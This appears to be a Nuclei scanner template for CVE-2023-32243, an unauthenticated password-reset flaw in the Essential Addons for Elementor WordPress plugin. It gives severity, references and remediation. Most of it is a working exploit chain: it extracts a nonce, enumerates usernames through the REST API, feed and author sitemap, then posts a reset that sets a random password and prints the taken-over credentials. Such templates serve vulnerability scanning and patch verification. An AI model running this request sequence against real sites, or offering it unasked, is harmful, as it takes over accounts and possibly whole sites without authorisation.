WordPress Elementor Lite 5.7.1 - Arbitrary Password Reset

id: CVE-2023-32243

info:
  name: WordPress Elementor Lite 5.7.1 - Arbitrary Password Reset
  author: DhiyaneshDK,Vikas Kundu
  severity: critical
  description: |
    Improper Authentication vulnerability in WPDeveloper Essential Addons for Elementor allows Privilege Escalation. This issue affects Essential Addons for Elementor: from 5.4.0 through 5.7.1.
  impact: |
    An attacker can gain unauthorized access to user accounts and potentially take control of the affected WordPress website.
  remediation: |
    Update WordPress Elementor Lite plugin to the latest version (5.7.2) or apply the patch provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32243
    - https://patchstack.com/articles/critical-privilege-escalation-in-essential-addons-for-elementor-plugin-affecting-1-million-sites?_s_id=cve
    - https://github.com/RandomRobbieBF/CVE-2023-32243/blob/main/exploit.py
    - https://wordpress.org/plugins/essential-addons-for-elementor-lite/
    - https://patchstack.com/database/vulnerability/essential-addons-for-elementor-lite/wordpress-essential-addons-for-elementor-plugin-5-4-0-5-7-1-unauthenticated-privilege-escalation-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-32243
    cwe-id: CWE-287
    epss-score: 0.75531
    epss-percentile: 0.99521
    cpe: cpe:2.3:a:wpdeveloper:essential_addons_for_elementor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 6
    vendor: wpdeveloper
    product: essential_addons_for_elementor
    framework: wordpress
    google-query: inurl:/wp-content/plugins/essential-addons-for-elementor-lite
  tags: cve2023,cve,wordpress,wp,wp-plugin,auth-bypass,intrusive,wpdeveloper,vkev,vuln

http:
  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-json/wp/v2/users/ HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /?rest_route=/wp/v2/users HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /feed/ HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /author-sitemap.xml HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=login_or_register_user&eael-resetpassword-submit=true&page_id=124&widget_id=224&eael-resetpassword-nonce={{nonce}}&eael-pass1={{password}}&eael-pass2={{password}}&rp_login={{wordpress_username}}

    payloads:
      password:
        - "{{randstr}}"
    host-redirects: true
    max-redirects: 2
    stop-at-first-match: true
    matchers:
      - type: word
        part: body_6
        words:
          - '"success":true'
          - '"data":'
        condition: and

    extractors:
      - type: regex
        name: nonce
        part: body_1
        group: 1
        regex:
          - 'nonce":"([0-9a-z]+)'
        internal: true

      - type: json
        part: body
        name: wordpress_username
        group: 1
        json:
          - '.[] | .slug'
          - '.[].name'
        internal: true

      - type: regex
        part: body_4
        name: wordpress_username
        group: 1
        regex:
          - '<dc:creator><!\[CDATA\[([A-Za-z]+)\]\]><\/dc:creator>'
        internal: true

      - type: regex
        part: body_5
        name: wordpress_username
        group: 1
        regex:
          - '\/author\/([a-z-]+)\/'
        internal: true

      - type: dsl
        dsl:
          - '"WP_USERNAME: "+ wordpress_username + " WP_PASSWORD: "+ password'